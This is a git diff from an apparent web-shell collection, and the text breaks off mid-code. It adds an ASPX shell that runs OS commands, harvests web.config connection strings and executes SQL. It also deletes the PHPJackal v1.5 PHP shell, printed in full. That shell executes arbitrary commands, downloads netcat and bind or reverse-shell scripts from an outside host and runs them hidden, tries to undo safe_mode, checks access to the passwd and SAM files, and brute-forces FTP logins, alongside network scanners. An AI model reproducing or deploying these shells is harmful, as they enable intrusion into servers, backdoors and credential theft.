diff --git "a/\344\270\200\345\217\245\350\257\235/mima_abcd.jpg" "b/Asp/\345\233\276\347\211\207\344\270\200\345\217\245\350\257\235/mima_abcd.jpg" similarity index 100% rename from "\344\270\200\345\217\245\350\257\235/mima_abcd.jpg" rename to "Asp/\345\233\276\347\211\207\344\270\200\345\217\245\350\257\235/mima_abcd.jpg" diff --git a/Aspx/cmdsql.aspx b/Aspx/cmdsql.aspx new file mode 100644 index 0000000..df237f8 --- /dev/null +++ b/Aspx/cmdsql.aspx @@ -0,0 +1,214 @@ + + + + + + + + + + +<%@ Page Language="VB" Debug="true" %> +<%@ import Namespace="system.IO" %> +<%@ import Namespace="System.Diagnostics" %> + + + + + + + + + +
+ + + + + +
+ + + Database Connection Web Shell +
+ + + + + + + + + + + + + + + + + + + +
+ STEP 1
+
+ ENTER OS COMMANDS
+
+ Application:
+ c:\windows\system32\cmd.exe

+ Arguments:
+ /c net user
+
+ RUN
+ +
+ STEP 2
+
+ PARSE WEB.CONFIGS FOR CONNECTION STRINGS
+
+ Path to web directories:
+ C:\inetpub +
+ RUN
+ +
+ STEP 3
+
+ EXECUTE SQL QUERIES
+
+ Connection Strings:
+ Data Source=localhost\sqlexpress2k8;User ID=netspi;PWD=ipsten

+ SQL query:
+ select @@version; +
+ RUN
+ +
+
+ + + + + +
+ + +
+ + diff --git a/Php/PHPJackal v1.5.php b/Php/PHPJackal v1.5.php deleted file mode 100755 index 37adef6..0000000 --- a/Php/PHPJackal v1.5.php +++ /dev/null @@ -1,1413 +0,0 @@ -$value) -{ -$_REQUEST[$key]=stripslashes($value); -} -} -function hlinK($str=""){ -$myvars=array('workingdiR','urL','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL'); -$ret=$_SERVER['PHP_SELF']."?"; -$new=explode("&",$str); -foreach ($_GET as $key => $v){ -$add=1; -foreach($new as $m){ -$el = explode("=", $m); -if ($el[0]==$key)$add=0; -} -if($add)if(!in_array($key,$myvars))$ret.=$key."=".$v."&"; -} -$ret.=$str; -return $ret; -} -if(!empty($login_password)){ -if(!empty($_REQUEST['fpassw'])){ -if($_REQUEST['fpassw']==$login_password)setcookie('passw',md5($_REQUEST['fpassw'])); -@header("Location: ".hlinK()); -} -if(empty($_COOKIE['passw']) || $_COOKIE['passw']!=md5($login_password))die("
Password:
"); -} -if (!empty($_REQUEST['workingdiR'])) chdir($_REQUEST['workingdiR']); -function checkthisporT($ip,$port,$timeout,$type=0){ -if(!$type){ -$scan=@fsockopen($ip,$port,$n,$s,$timeout); -if($scan){fclose($scan);return 1;} -} -elseif(function_exists('socket_set_timeout')){ -$scan=@fsockopen("udp://".$ip,$port); -if($scan){ -socket_set_timeout($scan,$timeout); -@fwrite($scan,"\x00"); -$s=time(); -fread($scan,1); -if((time()-$s)>=$timeout){fclose($scan);return 1;} -} -} -return 0; -} -if (!function_exists("file_get_contents")){ -function file_get_contents($addr){ -$a = fopen($addr,"r"); -$tmp = fread($a,filesize($a)); -fclose($a); -if($a)return $tmp; -} -} -if (!function_exists("file_put_contents")){ -function file_put_contents($addr,$con){ -$a = fopen($addr,"w"); -if(!$a)return 0; -fwrite($a,$con); -fclose($a); -return strlen($con); -} -} -function flusheR(){ -flush();@ob_flush(); -} -if (!empty($_REQUEST['downloaD'])){ -@ob_clean(); -$dl=$_REQUEST['downloaD']; -$con=file_get_contents($dl); -header("Content-type: application/octet-stream"); -header("Content-disposition: attachment; filename=\"$dl\";"); -header("Content-length: ".strlen($con)); -echo $con; -exit; -} -if (!empty($_REQUEST['imagE'])){ -$img=$_REQUEST['imagE']; -header("Content-type: imagE/gif"); -header("Content-length: ".filesize($img)); -header("Last-Modified: ".date("r",filemtime($img))); -echo file_get_contents($img); -exit; -} -@header("Cache-Control: no-cache, must-revalidate"); -@header("Expires: Mon, 7 Aug 1987 05:00:00 GMT"); -function showsizE($size){ -if ($size>=1073741824)$size = round(($size/1073741824) ,2)." GB"; -elseif ($size>=1048576)$size = round(($size/1048576),2)." MB"; -elseif ($size>=1024)$size = round(($size/1024),2)." KB"; -else $size .= " B"; -return $size; -} -if (substr((strtoupper(php_unamE())),0,3)=="WIN") $windows=1; else $windows=0; -$errorbox = "
Error: "; -$et = "
"; -$v="1.5"; -$msgbox="
"; -$intro="
Script:
".str_repeat("-=-",25)."
Name: PHPJackal
Version: $v

Author:
".str_repeat("-=-",25)."
Name: NetJackal
Country: Iran
Website: http://netjackal.by.ru
Email: nima_501@yahoo.com
$et"; -$footer="${msgbox}PHPJackal v$v - Powered By NetJackal$et"; -$hcwd=""; -$t = "
"; -$crack="
Dictionary:
Dictionary type:Simple (P)Combo (U:P)
Username:
Server:
$hcwd
"; -function namE(){ -$name=''; -srand((double)microtime()*100000); -for ($i=0;$i<=rand(3,10);$i++){ -$name.=chr(rand(97,122)); -} -return $name; -} -function whereistmP(){ -$uploadtmp=ini_get('upload_tmp_dir'); -$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP'); -if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp'; -if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp'; -if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp'; -if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp; -if(is_dir($envtmp) && is_writable($envtmp))return $envtmp; -return "."; -} -function shelL($command){ -global $windows,$disablefunctions; -$exec = '';$output= ''; -$dep[]=array('pipe','r');$dep[]=array('pipe','w'); -if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();} -elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; } -elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("\n",$output);$exec= $output;} -elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);} -elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);} -elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);} -elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);} -return $exec; -} -function downloadiT($get,$put){ -$fo=@strtolower(ini_get('allow_url_fopen')); -if($fo || $fo=='on')$con=file_get_contents($get); -else{ -$u=parse_url($get); -$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; -$url=fsockopen($host, 80, $en, $es, 12); -fputs($url, "GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); -$tmp=$con=''; -while($tmp!="\r\n")$tmp=fgets($url); -while(!feof($url))$con.=fgets($url); -} -$mk=file_put_contents($put,$con); -if($mk)return 1; -return 0; -} -function smtplogiN($addr,$user,$pass,$timeout){ -$sock=fsockopen($addr,25,$n,$s,$timeout); -if(!$sock)return -1; -fread($sock,1024); -fputs($sock,'ehlo '.namE()."\r\n"); -$res=substr(fgets($sock,512),0,1); -if($res!='2')return 0; -fgets($sock,512);fgets($sock,512);fgets($sock,512); -fputs($sock,"AUTH LOGIN\r\n"); -$res=substr(fgets($sock,512),0,3); -if($res!='334')return 0; -fputs($sock,base64_encode($user)."\r\n"); -$res=substr(fgets($sock,512),0,3); -if($res!='334')return 0; -fputs($sock,base64_encode($pass)."\r\n"); -$res=substr(fgets($sock,512),0,3); -if($res!='235')return 0; -return 1; -} -function checksmtP($host,$timeout){ -$from=strtolower(namE())."@".strtolower(namE()).".com"; -$sock=@fsockopen($host,25,$n,$s,$timeout); -if(!$sock)return -1; -$res=substr(fgets($sock,512),0,3); -if($res!='220')return 0; -fputs($sock,'HELO '.namE()."\r\n"); -$res=substr(fgets($sock,512),0,3); -if($res!='250')return 0; -fputs($sock,"MAIL FROM: <$from>\r\n"); -$res=substr(fgets($sock,512),0,3); -if($res!='250')return 0; -fputs($sock,"RCPT TO: \r\n"); -$res=substr(fgets($sock,512),0,3); -if($res!='250')return 0; -fputs($sock,"DATA\r\n"); -$res=substr(fgets($sock,512),0,3); -if($res!='354')return 0; -fputs($sock,"From: ".namE()." ".namE()." <$from>\r\nSubject: ".namE()."\r\nMIME-Version: 1.0\r\nContent-Type: text/plain;\r\n\r\n".namE().namE().namE()."\r\n.\r\n"); -$res=substr(fgets($sock,512),0,3); -if($res!='250')return 0; -return 1; -} -function check_urL($url,$method,$search,$timeout){ -if(empty($search))$search='200'; -$u=parse_url($url); -$method=strtoupper($method); -$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; -$data=(!empty($u['query']))?$u['query']:''; -if(!empty($data))$data="?$data"; -$sock=@fsockopen($host,80,$en,$es,$timeout); -if($sock){ -fputs($sock,"$method $file$data HTTP/1.0\r\n"); -fputs($sock,"Host: $host\r\n"); -if($method=='GET')fputs($sock,"\r\n"); -elseif($method='POST')fputs($sock,"Content-Type: application/x-www-form-urlencoded\r\nContent-length: ".strlen($data)."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data"); -else return 0; -if($search=='200')if(substr(fgets($sock),0,3)=="200"){fclose($sock);return 1;}else {fclose($sock);return 0;} -while(!feof($sock)){ -$res=trim(fgets($sock)); -if(!empty($res))if(strstr($res,$search)){fclose($sock);return 1;} -} -fclose($sock); -} -return 0; -} -function get_sw_namE($host,$timeout){ -$sock=@fsockopen($host,80,$en,$es,$timeout); -if($sock){ -$page=namE().namE(); -fputs($sock,"GET /$page HTTP/1.0\r\n\r\n"); -while(!feof($sock)){ -$con=fgets($sock); -if(strstr($con,'Server:')){$ser=substr($con,strpos($con,' ')+1);return $ser;} -} -fclose($sock); -return -1; -}return 0; -} -function snmpchecK($ip,$com,$timeout){ -$res=0; -$n=chr(0x00); -$packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01). chr(0x00). chr(0x04). chr(strlen($com)). -$com. chr(0xA0). -chr(0x19). chr(0x02). chr(0x01). chr(0x01). chr(0x02). chr(0x01). $n. -chr(0x02). chr(0x01). $n. chr(0x30). chr(0x0E). chr(0x30). chr(0x0C). -chr(0x06). chr(0x08). chr(0x2B). chr(0x06). chr(0x01). chr(0x02). chr(0x01). -chr(0x01). chr(0x01). $n. chr(0x05). $n; -$sock=@fsockopen("udp://$ip",161); -socket_set_timeout($sock,$timeout); -@fputs($sock,$packet); -socket_set_timeout($sock,$timeout); -$res=fgets($sock); -fclose($sock); -return $res; -} - -$safemode=(@ini_get('safe_mode') or strtolower(@ini_get('safe_mode')) == 'on')?'ON':'OFF'; -if($safemode=="ON"){@ini_restore("safe_mode");@ini_restore("open_basedir");} -$disablefunctions = @ini_get('disable_functions'); -if (!function_exists("str_repeat")){ -function str_repeat($str,$c){ -$r=""; -for($i=0; $i < $cu; $i++)$r.=$str; -return $r; -} -} - -function brshelL(){ -global $errorbox, $windows,$et,$hcwd; -$_REQUEST['C']=(isset($_REQUEST['C']))?$_REQUEST['C']:0; -$addr='http://netjackal.by.ru/backdoor'; -$error="$errorbox Can not make backdoor file, go to writeable folder.$et"; -$n=namE(); -if(!$windows)$n=".$n"; -$d=whereistmP(); -$name=$d.DIRECTORY_SEPARATOR.$n; -$perl=(!$windows && shelL('which perl'))?$perl=shelL('which perl'):'perl'; -$c=($_REQUEST['C'])?1:0; -if (!empty($_REQUEST['port']) && ($_REQUEST['port']<=65535) && ($_REQUEST['port']>=1) ){ -$port=(int)$_REQUEST['port']; -if($windows){ -if($c){ -$name.=".exe"; -$bd=downloadiT("$addr/nc.exe",$name); -shelL("attrib +H $name"); -if(!$bd)echo $error;else shelL("$name -L -p $port -e cmd.exe"); -}else{ -$name = $name.".pl"; -$bd=downloadiT("$addr/winbind.pl",$name); -shelL("attrib +H $name"); -if(!$bd)echo $error;else shelL("perl.exe $name $port"); -} -} -else{ -if($c){ -$bd=downloadiT("$addr/bind.c",$name); -if (!$bd) echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $port &"); -}else{ -$bd=downloadiT("$addr/bind.pl",$name); -if (!$bd)echo $error; else shelL("cd $d;$perl $n $port &"); -echo "Backdoor is waiting for you on $port.
"; -} -} -} -elseif(!empty($_REQUEST['rport']) && ($_REQUEST['rport']<=65535) && ($_REQUEST['rport']>=1) && !empty($_REQUEST['ip'])){ -$ip=$_REQUEST['ip']; -$port=(int)$_REQUEST['rport']; -if($windows){ -if($c){ -$name.='.exe'; -$bd=downloadiT("$addr/nc.exe",$name); -shelL("attrib +H $name"); -if(!$bd)echo $error;else shelL("$name $ip $port -e cmd.exe"); -}else{ -$name = $name.".pl"; -$bd=downloadiT("$addr/winrc.pl",$name); -shelL("attrib +H $name"); -if (!$bd)echo $error; else shelL("perl.exe $name $ip $port"); -} -} -else{ -if($c){ -$bd=downloadiT("$addr/rc.c",$name); -if(!$bd) echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $ip $port &"); -}else{ -$bd=downloadiT("$addr/rc.pl",$name); -if(!$bd)echo $error;else shelL("cd $d;$perl $n $ip $port &"); -} -} -echo "Done!";} -else{echo "
Bind shelL:
Port:
Type:PERL"; if($windows)echo "EXE"; else echo "C";echo"
$hcwd
Reverse shelL:
IP:
Port:
Type:PERL"; if($windows)echo "EXE"; else echo "C";echo"
$hcwd
$et";}} -function showimagE($img){ -echo "
";} -function editoR($file){ -global $errorbox,$et,$hcwd; -if (is_file($file)){ -if (!is_readable($file)){echo "$errorbox File is not readable$et
";} -if (!is_writeable($file)){echo "$errorbox File is not writeable$et
";} -$data = file_get_contents($file); -echo "
$hcwd

"; -} -else {echo "
$hcwd

"; -} -echo "$hcwd
"; -} -function webshelL(){ -global $windows,$hcwd; -if($windows){ -$alias=""; -} -else{ -$alias=""; -if(is_dir('/etc/valiases'))$alias.="";if(is_dir('/etc/vdomainaliases'))$alias.="";if(file_exists('/var/cpanel/accounting.log'))$alias.=""; -if(is_dir('/var/spool/mail/'))$alias.=""; -} -echo "
Location:

Web Shell:
$hcwd
$hcwd
"; -} -function maileR(){ -global $msgbox,$et,$hcwd; -$cwd= getcwd(); -if (!empty($_REQUEST['subject'])&&!empty($_REQUEST['body'])&&!empty($_REQUEST['from'])&&!empty($_REQUEST['to'])){ -$to=$_REQUEST['to'];$from=$_REQUEST['from'];$subject=$_REQUEST['subject'];$body=$_REQUEST['body']; -if (!mail($to,$subject,$body,"From: $from"))break; -echo "$msgboxMail sent!
$et"; -} -echo "

$hcwd
Mailer:
SMTP".ini_get('SMTP')." (".ini_get('smtp_port').")
From:$hcwd
To:
Subject:
Body:
$et"; -} -function scanneR(){ -global $hcwd; -if (!empty($_SERVER["SERVER_ADDR"])) $host=$_SERVER["SERVER_ADDR"];else $host ="127.0.0.1"; -$udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1; -if (($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){ -$target=$_REQUEST['target'];$from=(int) $_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu = 0; -echo "Port scanning started against ".htmlspecialchars($target).":
"; -$start=time(); -for($i=$from;$i<=$to;$i++){ -if($tcp){ -if (checkthisporT($target,$i,$timeout)){ -$nu++; -$ser=""; -if(getservbyport($i,"tcp"))$ser="(".getservbyport($i,"tcp").")"; -echo "$nu) $i $ser (Connect) [TCP]
"; -} -} -if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser="";if(getservbyport($i,"udp"))$ser="(".getservbyport($i,"udp").")";echo "$nu) $i $ser [UDP]
";} -flusheR(); -} -$time=time()-$start; -echo "Done! ($time seconds)
"; -} -elseif (!empty($_REQUEST['securityscanner'])){ -echo ""; -$start=time(); -$from=$_REQUEST['from']; -$to=(int)$_REQUEST['to']; -$timeout=(int)$_REQUEST['timeout']; -$f = substr($from,strrpos($from,".")+1); -$from = substr($from,0,strrpos($from,".")); -if(!empty($_REQUEST['httpscanner'])){ -echo "Loading webserver bug list..."; -flusheR(); -$buglist=whereistmP().DIRECTORY_SEPARATOR.namE(); -$dl=@downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist); -if($dl){$file=file($buglist);echo "Done! scanning started.

";}else echo "Failed!!! scanning started without webserver security testing...

"; -flusheR(); -}else {$fr=htmlspecialchars($from); echo "Scanning $fr.$f-$fr.$to:

";} -for($i=$f;$i<=$to;$i++){ -$output=0; -$ip="$from.$i"; -if(!empty($_REQUEST['nslookup'])){ -$hn=gethostbyaddr($ip); -if($hn!=$ip)echo "$ip [$hn]
";} -flusheR(); -if(!empty($_REQUEST['ipscanner'])){ -$port=$_REQUEST['port']; -if(strstr($port,","))$p=explode(",",$port);else $p[0]=$port; -$open=$ser=""; -foreach($p as $po){ -$scan=checkthisporT($ip,$po,$timeout); -if ($scan){ -$ser=""; -if($ser=getservbyport($po,"tcp"))$ser="($ser)"; -$open.=" $po$ser "; -} -} -if($open){echo "$ip) Open ports:$open
";$output=1;} -flusheR(); -} -if(!empty($_REQUEST['httpbanner'])){ -$res=get_sw_namE($ip,$timeout); -if($res){ -echo "$ip) Webserver software: "; -if($res==-1)echo "Unknow"; -else echo $res; -echo "
"; -$output=1; -} -flusheR(); -} -if(!empty($_REQUEST['httpscanner'])){ -if(checkthisporT($ip,80,$timeout) && !empty($file)){ -$admin=array('/admin/','/adm/'); -$users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www'); -$nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/'); -$cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/'); -foreach ($file as $v){ -$vuln=array(); -$v=trim($v); -if(!$v || $v{0}=='#')continue; -$v=str_replace('","','^',$v); -$v=str_replace('"','',$v); -$vuln=explode('^',$v); -$page=$cqich=$nukech=$adminch=$userch=$vuln[1]; -if(strstr($page,'@CGIDIRS')) -foreach($cgi as $cg){ -$cqich=str_replace('@CGIDIRS',$cg,$page); -$url="http://$ip$cqich"; -$res=check_urL($url,$vuln[3],$vuln[2],$timeout); -if($res){$output=1;echo "$ip)".$vuln[4]." $url
";} -flusheR(); -} -elseif(strstr($page,'@ADMINDIRS')) -foreach ($admin as $cg){ -$adminch=str_replace('@ADMINDIRS',$cg,$page); -$url="http://$ip$adminch"; -$res=check_urL($url,$vuln[3],$vuln[2],$timeout); -if($res){$output=1;echo "$ip)".$vuln[4]." $url
";} -flusheR(); -} -elseif(strstr($page,'@USERS')) -foreach ($users as $cg){ -$userch=str_replace('@USERS',$cg,$page); -$url="http://$ip$userch"; -$res=check_urL($url,$vuln[3],$vuln[2],$timeout); -if($res){$output=1;echo "$ip)".$vuln[4]." $url
";} -flusheR(); -} -elseif(strstr($page,'@NUKE')) -foreach ($nuke as $cg){ -$nukech=str_replace('@NUKE',$cg,$page); -$url="http://$ip$nukech"; -$res=check_urL($url,$vuln[3],$vuln[2],$timeout); -if($res){$output=1;echo "$ip)".$vuln[4]." $url
";} -flusheR(); -} -else{ -$url="http://$ip$page"; -$res=check_urL($url,$vuln[3],$vuln[2],$timeout); -if($res){$output=1;echo "$ip)".$vuln[4]." $url
";} -flusheR(); -} -} -} -} -if(!empty($_REQUEST['smtprelay'])){ -if(checkthisporT($ip,25,$timeout)){ -$res=''; -$res=checksmtP($ip,$timeout); -if($res==1){echo "$ip) SMTP relay found.
";$output=1;}flusheR(); -} -} -if(!empty($_REQUEST['snmpscanner'])){ -if(checkthisporT($ip,161,$timeout,1)){ -$com=$_REQUEST['com']; -$coms=$res=""; -if(strstr($com,","))$c=explode(",",$com);else $c[0]=$com; -foreach ($c as $v){ -$ret=snmpchecK($ip,$v,$timeout); -if($ret)$coms .=" $v "; -} -if ($coms!=""){echo "$ip) SNMP FOUND: $coms
";$output=1;} -flusheR(); -} -} -if(!empty($_REQUEST['ftpscanner'])){ -if(checkthisporT($ip,21,$timeout)){ -$usps=explode(',',$_REQUEST['userpass']); -foreach ($usps as $v){ -$user=substr($v,0,strpos($v,':')); -$pass=substr($v,strpos($v,':')+1); -if($pass=='[BLANK]')$pass=''; -$ftp=@ftp_connect($ip,21,$timeout); -if ($ftp){ -if(@ftp_login($ftp,$user,$pass)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) $ip System type: ".ftp_systype($ftp)."
";} -} -flusheR(); -} -} -} -if($output)echo "
"; -flusheR(); -} -$time=time()-$start; -echo "Done! ($time seconds)
"; -if(!empty($buglist))unlink($buglist); -} -else{ -$chbox=(extension_loaded('sockets'))?"TCPUDP":""; -echo "

Port scanner:
Target:
From:
To:
Timeout:
$chbox$hcwd
"; -$host = substr($host,0,strrpos($host,".")); -echo "
security scanner:
From: NS lookup
To:xxx.xxx.xxx.$hcwd
Timeout:
Port scanner:
Get web bannerWebserver security scanning   SMTP relay check
FTP password:
SNMP:

"; -} -} -function sysinfO(){ -global $windows,$disablefunctions,$safemode; -$cwd= getcwd(); -$mil="$osn",$os); -$os = str_replace($ker,"${mil}Linux+Kernel\">$ker",$os); -$inpa=':'; -}else{ -$sam = $sysroot."\\system32\\config\\SAM"; -$inpa=';'; -$os = str_replace($osn,"${mil}MS+Windows\">$osn",$os); -} -$software=str_replace("Apache","${mil}Apache\">Apache",$_SERVER['SERVER_SOFTWARE']); -echo ""; -if ($windows){ -echo ""; -} -else -{ -echo ""; -} -$uip =(!empty($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:getenv('REMOTE_ADDR'); -echo "";if (function_exists('curl_init')) echo "";echo "
Server information:
Server:".$_SERVER["HTTP_HOST"]; if (!empty($_SERVER["SERVER_ADDR"])){ echo "(". $_SERVER["SERVER_ADDR"] .")";}echo "
Operation system:$os$osver
Web server application:$software
CPU:$CPU
Disk status:$disksize
User domain:";if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN'];else echo "Unknow"; echo "
User name:";$cuser=get_current_user();if (!empty($cuser)) echo get_current_user();else echo "Unknow"; echo "
Windows directory:$sysroot
Sam file:";if (is_readable(($sam)))echo "Readable"; else echo "Not readable";echo "
Passwd file:"; -if (is_readable('/etc/passwd')) echo "Readable"; else echo'Not readable';echo "
Cpanel log file:"; -if (file_exists("/var/cpanel/accounting.log")){if (is_readable("/var/cpanel/accounting.log")) echo "Readable"; else echo "Not readable";}else echo "Not found"; -echo "
${mil}PHP\">PHP version:".PHP_VERSION." (more...)
Zend version:";if (function_exists('zend_version')) echo "".zend_version()."";else echo "Not Found";echo "
Include path:".str_replace($inpa," ",DEFAULT_INCLUDE_PATH)."
PHP Modules:";$ext=get_loaded_extensions();foreach($ext as $v)echo $v." ";echo "
Disabled functions:";if(!empty($disablefunctions))echo $disablefunctions;else echo "Nothing"; echo"
Safe mode:$safemode
Open base dir:$basedir
DBMS:";$sq="";if(function_exists('mysql_connect')) $sq= "${mil}MySQL\">MySQL ";if(function_exists('mssql_connect')) $sq.= " ${mil}MSSQL\">MSSQL ";if(function_exists('ora_logon')) $sq.= " ${mil}Oracle\">Oracle ";if(function_exists('sqlite_open')) $sq.= " SQLite ";if(function_exists('pg_connect')) $sq.= " ${mil}PostgreSQL\">PostgreSQL ";if(function_exists('msql_connect')) $sq.= " mSQL ";if(function_exists('mysqli_connect'))$sq.= " MySQLi ";if(function_exists('ovrimos_connect')) $sq.= " Ovrimos SQL ";if ($sq=="") $sq= "Nothing"; echo "$sq
cURL support:Enabled ";if(function_exists('curl_version')){$ver=curl_version();echo "(Version:". $ver['version']." OpenSSL version:". $ver['ssl_version']." zlib version:". $ver['libz_version']." host:". $ver['host'] .")";}echo "
User information:
IP:$uip
Agent:".getenv('HTTP_USER_AGENT')."
"; -} -function checksuM($file){ -global $et; -echo "
MD5: ".md5_file($file)."
SHA1: ".sha1_file($file)."$et"; -} -function listdiR($cwd,$task){ -$c= getcwd(); -$dh = opendir($cwd); -while ($cont=readdir($dh)){ -if($cont=='.' || $cont=='..')continue; -$adr = $cwd.DIRECTORY_SEPARATOR.$cont; -switch ($task){ -case '0':if(is_file($adr))echo "[$adr]\n";if(is_dir($adr))echo "[$adr]\n";break; -case '1':if(is_writeable($adr))if(is_file($adr))echo "[$adr]\n";if(is_dir($adr))echo "[$adr]\n";break; -case '2':if(is_file($adr) && is_writeable($adr))echo "[$adr]\n";break; -case '3':if(is_dir($adr) && is_writeable($adr))echo "[$adr]\n";break; -case '4':if(is_file($adr))echo "[$adr]\n";break; -case '5':if(is_dir($adr))echo "[$adr]\n";break; -case '6':if(preg_match("@".$_REQUEST['search']."@",$cont)){if(is_file($adr))echo "[$adr]\n";if(is_dir($adr))echo "[$adr]\n";}break; -case '7':if(strstr($cont,$_REQUEST['search'])){if(is_file($adr))echo "[$adr]\n";if(is_dir($adr))echo "[$adr]\n";}break; -} -if (is_dir($adr)) listdiR($adr,$_REQUEST['task']); -} -} -if (!function_exists("posix_getpwuid") && !strstr($disablefunctions,'posix_getpwuid')) {function posix_getpwuid($u) {return 0;}} -if (!function_exists("posix_getgrgid") && !strstr($disablefunctions,'posix_getgrgid')) {function posix_getgrgid($g) {return 0;}} -function filemanager(){ -global $windows,$msgbox,$errorbox,$t,$et,$hcwd; -$cwd= getcwd(); -$table = ""; -$td1n="
"; -$td2m=""; -$td1i=""; -$td2i=""; -$tdnr=""; -$tdw=""; -if (!empty($_REQUEST['task'])){ -if (!empty($_REQUEST['search'])) $_REQUEST['task'] = 7; -if (!empty($_REQUEST['re'])) $_REQUEST['task'] = 6; -echo "
";
-listdiR($cwd,$_REQUEST['task']);
-echo "
"; -}else{ -if (!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])|| !empty($_REQUEST['rN'])){ -if (!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])){ -$title="Destination"; -$ad = (!empty($_REQUEST['cP']))?$_REQUEST['cP']:$_REQUEST['mV']; -$dis =(!empty($_REQUEST['cP']))?'Copy':'Move'; -}else{ -$ad = $_REQUEST['rN']; -$title ="New name"; -$dis = "Rename"; -} -if (!!empty($_REQUEST['deS'])){ -echo "
$td1n$td2m$hcwd
$title:
"; -}else{ -if (!empty($_REQUEST['rN'])) renamE($ad,$_REQUEST['deS']); -else{ -copy($ad,$_REQUEST['deS']); -if (!empty($_REQUEST['mV']))unlink($ad); -} -} -} -if (!empty($_REQUEST['deL'])) { if (is_file($_REQUEST['deL'])|| is_link($_REQUEST['deL'])) unlink($_REQUEST['deL']);elseif(is_dir($_REQUEST['deL'])) { -$dh = opendir($_REQUEST['deL']); -$d=""; -while ($cont=readdir($dh)){$d++;} -if ($d>2) echo "$errorbox\"".htmlspecialchars($_REQUEST['del'])."\" is not empty!

";else rmdir($_REQUEST['del']);}} -if (!empty($_FILES['uploadfile'])){ -move_uploaded_file($_FILES['uploadfile']['tmp_name'],$_FILES['uploadfile']['name']); -echo "$msgboxUploaded! File name: ".$_FILES['uploadfile']['name']." File size: ".$_FILES['uploadfile']['size']. "$et
"; -} -$select = "
Location:
"; -$file=array();$dir=array();$link=array(); -if($dirhandle = opendir($cwd)){ -while ($cont=readdir($dirhandle)){ -if (is_dir($cwd.DIRECTORY_SEPARATOR.$cont)) $dir[]= $cont; -elseif (is_file($cwd.DIRECTORY_SEPARATOR.$cont)) $file[]=$cont; -else $link[]=$cont; -} -closedir($dirhandle); -sort($file);sort($dir);sort($link); -echo ""; -$i=0; -foreach($dir as $dn){ -echo ""; -$i++; -$own="Unknow"; -$owner=posix_getpwuid(fileowner($dn)); -$mdate=date("Y/m/d H:i:s",filemtime($dn)); -$adate=date("Y/m/d H:i:s",fileatime($dn)); -$diraction = $select.hlinK("seC=fm&workingdiR=".realpath($dn))."\">Open"; -if ($owner) $own = "".$owner['name'].""; -if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} -if (is_writeable($dn)) echo $tdw;elseif (!is_readable($dn)) echo $tdnr;else echo $cl2; -echo ""; -if (strlen($dn)>45)echo substr($dn,0,42)."...";else echo $dn;echo ""; -echo $cl1."$own"; -echo $cl1."$mdate"; -echo $cl1."$adate"; -echo "${cl1}D";if (is_readable($dn)) echo "R";if (is_writeable($dn)) echo "W";echo ""; -echo "$cl1------"; -echo $cl2.$diraction; -echo "" ; -flusheR(); -} -foreach($file as $fn){ -echo ""; -$i++; -$own = "Unknow"; -$owner = posix_getpwuid(fileowner($fn)); -$fileaction=$select.hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."\">Open"; -$mdate = date("Y/m/d H:i:s",filemtime($fn)); -$adate = date("Y/m/d H:i:s",fileatime($fn)); -if ($owner) $own = "".$owner['name'].""; -$size = showsizE(filesize($fn)); -if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} -if (is_writeable($fn)) echo $tdw;elseif (!is_readable($fn)) echo $tdnr;else echo 